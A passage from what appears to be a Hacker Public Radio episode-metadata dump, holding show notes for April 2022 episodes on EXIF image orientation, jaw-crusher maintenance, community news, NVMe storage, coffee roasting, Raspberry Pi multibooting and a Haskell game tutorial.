                                                            I have modified my picture management script to use this technique, and so far it seems to do the job perfectly. It has to be admitted that images with Exif orientation metadata are rare though.

                                                            \n

                                                            The GraphicsMagick documentation indicates that the transformations needed to generate an upright image could cause problems with some images, so we will be alert to any issues. For the moment, it looks as if the problem is largely solved.

                                                            \n

                                                            Personally, I gained several things from this journey of discovery:

                                                            \n
                                                              \n
                                                            • I ended up understanding images a bit better.
                                                            • \n
                                                            • Using exiftool to examine these images helped me to understand the power of this tool1.
                                                            • \n
                                                            • I also discovered that if opened the example image with Gimp it spotted the orientation issue and asked if I wanted it to perform the transformation discussed above.
                                                            • \n
                                                            • I installed a KDE image tool called ShowFoto and it also reported the fact that the image existed in two forms, in the same way, and allowed Exif editing.
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. For the record, removing all Exif data with exiftool is achieved with the command:

                                                              \n
                                                              exiftool -all= image.jpg
                                                              \n↩︎
                                                            2. \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"image,Exif,exiftool,GraphicsMagick,orientation","version":0,"downloads":0,"valid":1}, {"id":3565,"date":"2022-04-01","title":"Heavy Hacking down in the quarry. ","duration":468,"summary":"How to adjust a toggle plate on a MOBICAT MC 120 PRO Jaw Crusher","notes":"

                                                            Another trip down the quarry with Marshall aka Timtimmy. Today he's changing the toggle plate on a MOBICAT MC 120 PRO Jaw Crusher. We've already covered it before but there is a brief refresher about the hydraulic, and pneumatic systems before we get to changing the plate itself. As always be sure you follow the safety instructions provided by the manufacturer.

                                                            \n\n

                                                            \n\"Photo\n

                                                            \n

                                                            \n\"Photo\n

                                                            \n\n

                                                            Links

                                                            \n","hostid":392,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"quarry,hacking,Health and Safety","version":0,"downloads":0,"valid":1}, {"id":3566,"date":"2022-04-04","title":"HPR Community News for March 2022","duration":5485,"summary":"Dave and Ken talk about shows released and comments posted in March 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3542Tue2022-03-01The Worst Car I Ever HadBeeza
                                                            3543Wed2022-03-02Idle thoughts on web browsersdnt
                                                            3544Thu2022-03-03All my microphonesAndrew Conway
                                                            3545Fri2022-03-04How I make coffeeArcher72
                                                            3546Mon2022-03-07HPR Community News for February 2022HPR Volunteers
                                                            3547Tue2022-03-08Password ManagersSome Guy On The Internet
                                                            3548Wed2022-03-09Make a custom Git commandklaatu
                                                            3549Thu2022-03-10Linux Inlaws S01E51: git and static site generatorsmonochromec
                                                            3550Fri2022-03-11Format; Copy; Diskcopy; XcopyAhuka
                                                            3551Mon2022-03-14Bash snippet - some possibly helpful hintsDave Morriss
                                                            3552Tue2022-03-15Unboxing a PineTime development kitRho`n
                                                            3553Wed2022-03-16Freedom of speech in open sourceSome Guy On The Internet
                                                            3554Thu2022-03-17Guide to the Science and Technology Section of BitchuteMechatroniac
                                                            3555Fri2022-03-18PopKorn Episode 1: The Fallacy of the Unreasonable Effectiveness of Mathematics in the ETCBlacKernel
                                                            3556Mon2022-03-21TTS for HPRtakov751
                                                            3557Tue2022-03-22A short story about Lenovo and laptop batteriesfolky
                                                            3558Wed2022-03-23How I'm learning HaskellTuula
                                                            3559Thu2022-03-24Linux Inlaws S01E52: The Zig Projectmonochromec
                                                            3560Fri2022-03-25LCh Components Layer ModesAhuka
                                                            3561Mon2022-03-28Employment securityArcher72
                                                            3562Tue2022-03-29Creating a new project with Haskell and StackTuula
                                                            3563Wed2022-03-30Home Coffee Roasting, part 1dnt
                                                            3564Thu2022-03-31Removing EXIF data from an imageDave Morriss
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n7 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 14 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3546\n(2022-03-07) \"HPR Community News for February 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-03-09:\n\"Thank you\"

                                                              \n
                                                            • hpr3551\n(2022-03-14) \"Bash snippet - some possibly helpful hints\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-03-20:\n\"Bash for the Win.\"
                                                              • Comment 2:\nDave Morriss on 2022-03-21:\n\"Hi SGOTI\"

                                                              \n
                                                            • hpr3552\n(2022-03-15) \"Unboxing a PineTime development kit\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-03-26:\n\"Development on Pinetime\"

                                                              \n
                                                            • hpr3553\n(2022-03-16) \"Freedom of speech in open source\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2022-03-16:\n\"Great Intro\"
                                                              • Comment 2:\nTrey on 2022-03-16:\n\"Important topic\"
                                                              • Comment 3:\nBeeza on 2022-03-17:\n\"Free Speech\"
                                                              • Comment 4:\nKen Fallon on 2022-03-17:\n\"My thoughts\"
                                                              • Comment 5:\njezra on 2022-03-22:\n\"the show\"

                                                              \n
                                                            • hpr3557\n(2022-03-22) \"A short story about Lenovo and laptop batteries\"\nby folky.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-03-31:\n\"Thank you.\"

                                                              \n
                                                            • hpr3558\n(2022-03-23) \"How I'm learning Haskell\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-03-23:\n\"Nicely done.\"
                                                              • Comment 2:\nTuula on 2022-03-24:\n\"Good idea\"

                                                              \n
                                                            • hpr3563\n(2022-03-30) \"Home Coffee Roasting, part 1\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2022-03-31:\n\"Very interesting\"

                                                              \n
                                                            • hpr3564\n(2022-03-31) \"Removing EXIF data from an image\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-03-31:\n\"Much Respect\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-March/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Access problems from Argentina

                                                            \n

                                                            An HPR listener from Argentina reports that the HPR site is unavailable from there. This applies both to an ISP connection and on a mobile phone. It's not clear what is causing this.

                                                            \n

                                                            Reportedly the problem was resolved on March 30th but the next day it returned and at the time of writing the HPR site is still unavailable.

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            As reported on the last Community News all shows in the range 1-870 had been uploaded except for shows hpr0001 - hpr0003. Shows hpr0001 and hpr0002 had been \"blocked\" by existing non-HPR items from over 8 years ago, with the names we were going to assign. Show hpr0003 seemed to have been an early attempt to upload blocks of shows since it contained the audio for shows 1-9, but no notes.

                                                            \n

                                                            We received help with clearing the slots for shows 1 and 2 from Jason Scott of the Internet Archive, and the correct shows have now been uploaded. Show hpr0003 has now been resolved by replacing the contents with the appropriate transcoded audio and the notes have been added to it.

                                                            \n

                                                            We can now consider this project to be complete!

                                                            \n\n\n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3567,"date":"2022-04-05","title":"What is NVMe™ and why is it important?","duration":1020,"summary":"A short Podcast about NVMe how it works and it is good","notes":"

                                                            https://blog.westerndigital.com/nvme-important-data-driven-businesses/

                                                            \n\n

                                                            \nNVM Express (NVMe) or Non-Volatile Memory Host Controller Interface Specification (NVMHCIS) is an open, logical-device interface specification for accessing a computer's non-volatile storage media usually attached via PCI Express (PCIe) bus. The acronym NVM stands for non-volatile memory, which is often NAND flash memory that comes in several physical form factors, including solid-state drives (SSDs), PCI Express (PCIe) add-in cards, and M.2 cards, the successor to mSATA cards. NVM Express, as a logical-device interface, has been designed to capitalize on the low latency and internal parallelism of solid-state storage devices
                                                            \nhttps://en.wikipedia.org/wiki/NVM_Express\n

                                                            \n\n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ssd,NVME Storage,high performance","version":0,"downloads":0,"valid":1}, {"id":3568,"date":"2022-04-06","title":"PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy","duration":899,"summary":"in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming","notes":"

                                                            Talking Points

                                                            \n
                                                              \n\t
                                                            • Any audio is better than no audio?
                                                            • \n\t
                                                            • Mathematics = Logic
                                                            • \n\t
                                                            • ZFC Axioms show logical structure
                                                            • \n\t
                                                            • Peano Axioms illustrating this point
                                                            • \n\t
                                                            • Euclid's Axioms showing how just because something is logical doesn't mean that has anything to do with reality
                                                            • \n\t
                                                            • x86 Instruction set showing the axiomatic basis of programming
                                                            • \n\t
                                                            • Asymmetric Literacy in Chinese languages.
                                                            • \n\t
                                                            • NOTE: This section is slightly incorrect in that there is a separate written form for Cantonese as well, but I hope that the main idea is still intelligible.
                                                            • \n
                                                            \n\n
                                                            \n\n

                                                            Show Notes

                                                            \n

                                                            Important Links:

                                                            \n\n\n

                                                            Wikipedia Articles:

                                                            \n\n\n
                                                            \n\nContact Me\n\n","hostid":396,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"improv, math, popkorn, programming, language","version":0,"downloads":0,"valid":1}, {"id":3569,"date":"2022-04-07","title":"Linux Inlaws S01E53: Rust Marketing","duration":2661,"summary":"A shameless plug for this hippster programming language and why you should use it","notes":"

                                                            In this episode our two heroes explore the depths a new (?) hipster\nprogramming language called Rust. Being an obvious piece of blatant technology\nmarketing, the Linux Inlaws are still waiting for the funds to arrive from the\nRust Foundation :-) (@Foundation: If you want to get in touch please send\na mail to sponsor at linuxinlaws eu). Jokes aside, the episode give a short\noverview of this new programming language without going into deeper technical\ndetails as this podcast is only the usual four hours long.

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Rust, The Rust Foundation, Firefox, D-Wave, Cargo","version":0,"downloads":0,"valid":1}, {"id":3570,"date":"2022-04-08","title":"The Filesystem","duration":1412,"summary":"We continue our look at the old warhorse, DOS. This time it is the file system.","notes":"

                                                            One key to working with DOS is to understand the file system. This is not just about organizing files, though that is certainly a part of it, but also about keeping your system running smoothly and recovering lost files in some circumstances.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, file system","version":0,"downloads":0,"valid":1}, {"id":3571,"date":"2022-04-11","title":"The Meatball Mystery","duration":512,"summary":"A naming oddity leads to questions about geneaology and American history","notes":"

                                                            Discussing the interesting oddity that is the meatball; its origins, and some misconceptions and coincidences surrounding the tasty \"traditional\" dish of spaghetti and meatballs.

                                                            \n

                                                            Historical context and explanations were provided by the article \"Is Spaghetti and Meatballs Italian?\" by Shaylyn Esposito, published in Smithsonian Magazine.

                                                            ","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cuisine, food, genealogy","version":0,"downloads":0,"valid":1}, {"id":3572,"date":"2022-04-12","title":"More about NVMe","duration":1142,"summary":"Who what when and were of NVMe","notes":"

                                                            NVMe SSDs: Everything you need to know about this insanely fast storage

                                                            \n\n

                                                            \nNVM Express (NVMe) or Non-Volatile Memory Host Controller Interface Specification (NVMHCIS) is an open, logical-device interface specification for accessing a computer's non-volatile storage media usually attached via PCI Express (PCIe) bus. The acronym NVM stands for non-volatile memory, which is often NAND flash memory that comes in several physical form factors, including solid-state drives (SSDs), PCI Express (PCIe) add-in cards, and M.2 cards, the successor to mSATA cards. NVM Express, as a logical-device interface, has been designed to capitalize on the low latency and internal parallelism of solid-state storage devices
                                                            \nhttps://en.wikipedia.org/wiki/NVM_Express\n

                                                            \n\n\n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ssd,NVME Storage,high performance","version":0,"downloads":0,"valid":1}, {"id":3573,"date":"2022-04-13","title":"Home Coffee Roasting, part 2","duration":1230,"summary":"How I've roasted and brewed coffee","notes":"

                                                            Roasting

                                                            \n

                                                            Popcorn popper

                                                            \n

                                                            Stovepop

                                                            \n

                                                            Behmor 2000AB Plus

                                                            \n

                                                            FreshRoast SR700 (has been discontinued, newer models are available but the 700 I think was the last one or the only one with USB control)

                                                            \n

                                                            Openroast

                                                            \n

                                                            Brewing

                                                            \n

                                                            Moka pot

                                                            \n

                                                            French Press

                                                            \n

                                                            Pour Over

                                                            \n

                                                            Bruer

                                                            \n

                                                            Flair

                                                            \n

                                                            Aeropress

                                                            \n
                                                            \n

                                                            If I left anything out, let me know in the comments or email me.

                                                            \n

                                                            For part 1, see hpr3563

                                                            \n","hostid":399,"series":88,"explicit":0,"license":"CC-BY-SA","tags":"coffee,\"coffee roasting\"","version":0,"downloads":0,"valid":1}, {"id":3574,"date":"2022-04-14","title":"Local Talking Newspapers","duration":393,"summary":"Recordings of Local News for the Blind and Visually Impaired","notes":"

                                                            The Talking News Federation website:

                                                            \n

                                                            https://tnf.org.uk/

                                                            \n

                                                            With links to 300+ talking newspapers in the UK.

                                                            \n

                                                            The British Wireless for the Blind website:

                                                            \n

                                                            https://www.bwbf.org.uk/

                                                            \n

                                                            Royalty Free Music from Bensound:

                                                            \n

                                                            https://www.bensound.com/

                                                            \n

                                                            The Audacity website:

                                                            \n

                                                            https://www.audacityteam.org/

                                                            \n","hostid":403,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"blind, audio, recording","version":0,"downloads":0,"valid":1}, {"id":3575,"date":"2022-04-15","title":"An Edinburgh Blether","duration":3724,"summary":"MrX and Dave Morriss catching up after nearly a year","notes":"

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n\n

                                                            We recorded this on Sunday March 6th 2022. The last time we set up a chat like this was back in March 2021, almost exactly a year ago surprisingly!

                                                            \n

                                                            Note on the title: we spoke a little on the subject of the Scots language in the show - when speaking of the current census - so the title uses a Scots term.

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • COVID:\n
                                                                \n
                                                              • Losing track of time
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Christmas:\n
                                                                \n
                                                              • A quiet time for both of the hosts, with some family time
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Dave’s family matters:\n
                                                                \n
                                                              • Son graduated after doing an MSc and got a job quite quickly last year
                                                              • \n
                                                              • Daughter had graduated from an MSc the year before and also got a job this year.
                                                              • \n
                                                              • Dave had a bout of shingles in early January, which lasted about 6-7 weeks overall. If you can get a shingles vaccination as you age, get one!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • UK heating, boilers, etc.\n
                                                                \n
                                                              • MrX’s in-laws had a boiler failure during the cold weather, and a gas leak!
                                                              • \n
                                                              • Dave had a leak in his cold water tank in the attic which flooded the room below. He decided to completely upgrade the heating system, remove all tanks and put in a new pressurised condensing gas boiler. See the Wikipedia page for an overview of central heating systems.
                                                              • \n
                                                              • Old-style plumbing; coal fires, back boilers and dampers.
                                                              • \n
                                                              • The era of coal:\n
                                                                  \n
                                                                • Gas poker used for starting domestic (usually coal) fires
                                                                • \n
                                                                • Coal gas made from coal, superseded by natural gas
                                                                • \n
                                                                • Gasometer storage device for coal gas
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Internet connectivity:\n
                                                                \n
                                                              • Dave has transitioned from ADSL to fibre since the last show\n
                                                                  \n
                                                                • Fibre to the Premises, with up to 1 Gbit/s if desired
                                                                • \n
                                                                • New router using Wireless 6
                                                                • \n
                                                              • \n
                                                              • MrX has Fibre to the Cabinet
                                                              • \n
                                                              • Dave’s new router doesn’t allow the Pi-hole to work at the moment
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Chromebook:\n
                                                                \n
                                                              • MrX has acquired a Chromebook since our last show\n
                                                                  \n
                                                                • It is convenient to use. Made answering the online Scottish Census quite straightforward.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Census and Scots Language:\n
                                                                \n
                                                              • The Census asks about the Scots Language, whether the person can speak and understand it.
                                                              • \n
                                                              • Dave follows @lenniesaurus on Twitter who introduces a daily Scots word.
                                                              • \n
                                                              • According to Wikipedia:
                                                              • \n
                                                              \n
                                                              \n

                                                              Scots is recognised as an indigenous language of Scotland, a regional or minority language of Europe, and a vulnerable language by UNESCO. In the 2011 Scottish Census, over 1.5 million people in Scotland reported being able to speak Scots.

                                                              \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"conversation,blether","version":0,"downloads":0,"valid":1}, {"id":3576,"date":"2022-04-18","title":"First impressions of Ubuntu 22.04 as a daily driver.","duration":1380,"summary":"Knightwise gives his first impressions on the latest LTS release of Ubuntu","notes":"

                                                            Knightwise gives us a good first impression of the Ubuntu 22.04 release and answers the question if its ready for prime time. We go down a little rabbithole on why there will never be a year of the Linux desktop.

                                                            \n

                                                            The app mentioned to Sync Onedrive with Ubuntu is Insync: https://www.insynchq.com

                                                            \n

                                                            The podcast about Knightwise's favorite command line apps is here: https://knightwise.com/kw1607-conquering-the-command-line/

                                                            \n

                                                            The podcast mentioned 'Linux for a Living\" can be found here: https://knightwise.com/kw1604-linux-on-the-workplace-desktop/

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ubuntu, linux, desktop, open-source","version":0,"downloads":0,"valid":1}, {"id":3577,"date":"2022-04-19","title":"Hello and how I got into tech","duration":444,"summary":"Hi, I'm Sarah and this is how I got into Tech","notes":"

                                                            Hi, I'm Sarah. In this show, I introduce myself and ramble about how I got into tech. Despite saying I hate talking about myself, I managed 7 minutes and 25 seconds. I started as a kid with a Tandy and eventually ended up being a librarian and a sysadmin for a RedHat system.

                                                            ","hostid":404,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"intro, linux","version":0,"downloads":0,"valid":1}, {"id":3578,"date":"2022-04-20","title":"Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Rest","duration":5234,"summary":"A discussion with members of the Electronic Frontier Georgia about electronic freedom, civil rights ","notes":"

                                                            In this episode our two hosts talk to an eclectic panel consisting of\nmembers of the Georgian affiliation of the Electronic Frontier Foundation\n(EFF) called Electronic Frontiers Georgia. Among other topics, civil rights\n(especially in the digital age), sharing of ideas never mind other\nintellectual capital and why this still matters in socialist America are the\nfocus of discussion. Plus Chris manages to recount most of the founding\nfathers of the US (gaps may be present... :-)

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"EFF,Electronic Frontier Foundation, Georgia, US Constitution, Civil Rights, Positive Lobbying","version":0,"downloads":0,"valid":1}, {"id":3579,"date":"2022-04-21","title":"PINN is not NOOBS","duration":650,"summary":"Multibooting raspberry pi","notes":"

                                                            Multiboot with PINN

                                                            \n

                                                            https://github.com/procount/pinn/blob/master/README_PINN.md

                                                            \n
                                                            \n

                                                            What is PINN (PINN Is Not NOOBS)?

                                                            \n

                                                            An easy enhanced Operating System installer for the Raspberry Pi

                                                            \n

                                                            The latest version of PINN can be downloaded from sourceforge.

                                                            \n

                                                            This README relates to v3.8

                                                            \n

                                                            (PINN-lite does not include any operating systems at all.

                                                            \n

                                                            It is more akin to NOOBS-lite rather than NOOBS. For that reason, the filename that you download is called pinn-lite.zip. More recently, pinn.zip has also been made available for download which includes versions of Raspbian and LibreELEC.)

                                                            \n
                                                            \n

                                                            Sourceforge

                                                            \n

                                                            https://sourceforge.net/projects/pinn/

                                                            \n

                                                            Github

                                                            \n

                                                            https://github.com/procount/pinn

                                                            \n\n

                                                            Web UI for PINN

                                                            \n

                                                            https://pinn.mjh.nz/

                                                            \n
                                                              \n
                                                            • Instructions
                                                            • \n
                                                            \n
                                                            \n

                                                            Unzip pinn-lite.zip

                                                            \n
                                                            \n
                                                            \n

                                                            Replace recovery.cmdline file in PINN directory with downloaded file

                                                            \n
                                                            \n
                                                            \n

                                                            Copy the contents of the PINN directory to your FAT32 formatted media

                                                            \n
                                                            \n
                                                            \n

                                                            Boot your Raspberry Pi

                                                            \n
                                                            \n
                                                            \n

                                                            Select all systems and install

                                                            \n
                                                            \n
                                                            \n

                                                            Enjoy!

                                                            \n
                                                            \n

                                                            Installation instructions
                                                            \n\"Installation
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            https://www.youtube.com/watch?v=tc2dSMiUfmI&t=171s

                                                            \n

                                                            Raspberry Pi OS 64-bit release news

                                                            \n

                                                            https://www.raspberrypi.com/news/raspberry-pi-os-64-bit/

                                                            \n\n

                                                            OS installation selection
                                                            \n\"OS

                                                            \n

                                                            Installing RetroPie
                                                            \n\"Installing

                                                            \n

                                                            Installing Kodi/OSMC
                                                            \n\"Installing

                                                            \n

                                                            Boot selection menu
                                                            \n\"Boot

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, 64 bit, multiboot, Retropie, Kodi","version":0,"downloads":0,"valid":1}, {"id":3580,"date":"2022-04-22","title":"RAW images","duration":939,"summary":"How to work with unprocessed images in RAW formats","notes":"

                                                            Most of the time we work with JPEG images because that is the most common format for digital images. They have the virtue of decent quality combined with smaller file size, and so won't fill up your storage quite as fast. But if you want the highest quality you have to work with unprocessed images, called RAW images. These are simply the actual data recorded by the camera sensors, and they give you some advantages, such as better correction of white balance. But GIMP does not open RAW images directly. But there are some work-arounds which we discuss in this tutorial.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, RAW images, unprocessed images","version":0,"downloads":0,"valid":1}, {"id":3581,"date":"2022-04-25","title":"My daily Linux driver.","duration":1376,"summary":"Knightwise talks about the Linux system he uses as a daily driver.","notes":"

                                                            I talk about how I use Linux on a Daily basis from my home workstation.

                                                            \n\n

                                                            Products mentioned in this episode

                                                            \n

                                                            Added by Ken

                                                            \n\n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, workstation, ubuntu, budgie, mint","version":0,"downloads":0,"valid":1}, {"id":3582,"date":"2022-04-26","title":"Rolling a new character","duration":1793,"summary":"Tuula continues writing an example Haskell game, this time rolling a new character","notes":"

                                                            Quick peek at some places in code

                                                            \n

                                                            Main.hs has our Main module definition. It was generated by Stack when we started. In the end of the main function, it calls run function, which is defined in Run.hs file. This is the place where we can see overall flow of the program in one glance.

                                                            \n
                                                            run :: RIO App ()\nrun = do\n  choice <- showMainMenu\n  case choice of\n    StarNewGame -> do\n      logDebug "New game starting..."\n      logDebug "Rolling new character..."\n      player <- liftIO $ evalRandIO rollNewCharacter\n      displayNewCharacter player\n      logDebug "Selecting starting gear..."\n      gear <- selectStartingGear $ playerGear player\n      logDebug "Preparing game..."\n      game <- liftIO $ evalRandIO $ startGame player gear\n      logDebug "Dealing first card..."\n      finishedGame <- playGame game\n      logDebug "Displaying game over..."\n      displayGameOver finishedGame\n\n    ExitGame ->\n      return ()
                                                            \n

                                                            Another interesting module is Types. Here you can find how player, items, monsters and such are represented.

                                                            \n

                                                            Third and biggest module is UserInterface, which contains functions to display game status to player and ask their input.

                                                            \n

                                                            So, what does our run function do? Lets have a look:

                                                            \n
                                                              \n
                                                            • choice <- showMainMenu\n
                                                                \n
                                                              • show main menu and ask for player input
                                                              • \n
                                                            • \n
                                                            • case choice of\n
                                                                \n
                                                              • depending on the choice, continue with game logic or exit the function
                                                              • \n
                                                            • \n
                                                            • player <- liftIO $ evalRandIO rollNewCharacter\n
                                                                \n
                                                              • roll a new character
                                                              • \n
                                                              • evalRandIO indicates we're dealing with random numbers
                                                              • \n
                                                            • \n
                                                            • displayNewCharacter player\n
                                                                \n
                                                              • display the new character on screen
                                                              • \n
                                                            • \n
                                                            • gear <- selectStartingGear $ playerGear player\n
                                                                \n
                                                              • select starting gear
                                                              • \n
                                                            • \n
                                                            • game <- liftIO $ evalRandIO $ startGame player gear\n
                                                                \n
                                                              • shuffle the deck and set up the game
                                                              • \n
                                                              • again using random numbers here
                                                              • \n
                                                            • \n
                                                            • finishedGame <- playGame game\n
                                                                \n
                                                              • play game until we're done
                                                              • \n
                                                            • \n
                                                            • displayGameOver finishedGame\n
                                                                \n
                                                              • display game over screen
                                                              • \n
                                                            • \n
                                                            \n

                                                            Word about input and output

                                                            \n

                                                            One of the features of Haskell I like is the ability to show which functions are pure (always returning same output with given set of inputs and not having any side effects). In our program, every function that returns RIO a b has access to input and output. In addition to that, it also has access to system wide configuration (which we don't use much here) and logging functions.

                                                            \n

                                                            To write on the screen, we use putStrLn and reading a user input readLine. Since they're designed to work with IO instead of RIO a b, we have to use liftIO. But all that is technical details that we won't worry now.

                                                            \n

                                                            App is our configuration. We aren't directly using it, so it's safe to ignore for now.

                                                            \n

                                                            Showing main menu

                                                            \n

                                                            showMainMenu function will print out the menu and then call mainMenuInput. mainMenuInput will read input, validate that it's either 1 or 2 and return respectively StarNewGame or ExitGame. In case user enters something else, mainMenuInput will recurse until user enters valid input.

                                                            \n
                                                            -- | Display main menu\nshowMainMenu :: RIO App MainMenuChoice\nshowMainMenu = do\n  logDebug "Displaying main menu"\n  liftIO $ putStrLn "\\n\\n"\n  liftIO $ putStrLn "Treasure Dungeon"\n  liftIO $ putStrLn "****************"\n  liftIO $ putStrLn ""\n  liftIO $ putStrLn "1. Start a new game"\n  liftIO $ putStrLn "2. Quit"\n  mainMenuInput\n\nmainMenuInput :: RIO App MainMenuChoice\nmainMenuInput = do\n  i <- liftIO getLine\n  case i of\n    "1" -> return StarNewGame\n    "2" -> return ExitGame\n      _ -> do\n            logDebug $ displayShow $ "Incorrect menu choice: " <> i\n            liftIO $ putStrLn "Please select 1 or 2"\n            mainMenuInput
                                                            \n

                                                            You might wonder, why mainMenuInput can keep calling itself without filling the stack? That's because Haskell doesn't use stack in the same sense as many other programming languages. Haskell compiler is also smart enough to notice that call to mainMenuInput is last operation of the mainMenuInput, there is no work to be done after the call, and thus can optimize things even more. I don't know all the dirty details how this has been implemented and how things work behind the curtains.

                                                            \n

                                                            Rolling new character

                                                            \n

                                                            player <- liftIO $ evalRandIO rollNewCharacter rolls a new character, but what exactly is going on here? rollNewChacter has following signature: rollNewCharacter :: (RandomGen g) => Rand g Player. It doesn't take any parameters and returns Rand g Player, where g implements RandomGen. So, it's Rand monad that returns Player. In order to get the result of the computation, we call evalRandIO that uses global random number generator to compute. And since it's an IO operation, we need liftIO. It's bit confusing at first, so don't worry if you don't get all the details. The main point is that we're doing computation with random numbers.

                                                            \n

                                                            Implementation is not too complex:

                                                            \n
                                                            rollNewCharacter :: (RandomGen g) => Rand g Player\nrollNewCharacter = do\n  str <- dice 3\n  dex <- dice 3\n  mind <- dice 3\n  maxHp <- dice 4\n  return $ Player\n    { playerStrength  = MkStrength str\n    , playerDexterity = MkDexterity dex\n    , playerMind      = MkMind mind\n    , playerHP        = MkHP maxHp\n    , playerMaxHP     = MkHP maxHp\n    , playerGear      = [ ]\n    }
                                                            \n

                                                            This rolls three six sided dice for each attribute and 4 for hit points. The values are then used to create Player record that is returned.

                                                            \n

                                                            dice is implemented as following:

                                                            \n
                                                            dice :: (RandomGen g) => Natural -> Rand g Natural\ndice n = do\n  rolls <- getRandomRs (1, 6)\n  let roll = sum $ take (fromIntegral n) rolls\n  return $ fromInteger roll
                                                            \n

                                                            Again, we're using Rand monad for random number generation. getRandomRs supplies us an infinite list of numbers between 1 and 6. Then we use take to some of them and sum to add them together. fromIntegral n is needed, because take doesn't operate on Natural type, but Int. I wanted to use Natural though, because that ensures that the parameter n will always be 0 or more.

                                                            \n

                                                            In closing

                                                            \n

                                                            Now we have a basic layout for our program and know how to roll a character with random stats. Next time we'll finally look into getting some gear on them. The code for the game is available at my codeberg repository.

                                                            \n

                                                            ad astra!

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"game development, haskell","version":0,"downloads":0,"valid":1}, {"id":3583,"date":"2022-04-27","title":"takov751 and dnt talk about browsers","duration":473,"summary":"After episode 3543, some messages were exchanged","notes":"

